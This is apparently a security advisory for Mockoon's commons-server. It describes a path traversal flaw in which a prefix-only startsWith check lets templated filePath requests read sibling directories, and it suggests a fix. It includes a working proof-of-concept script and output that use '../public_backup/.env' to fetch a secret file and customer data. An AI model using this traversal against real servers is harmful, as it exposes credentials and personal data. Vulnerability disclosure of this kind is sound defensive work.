@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

[*] intended file (public/index.txt)    : public landing page
[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741

../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public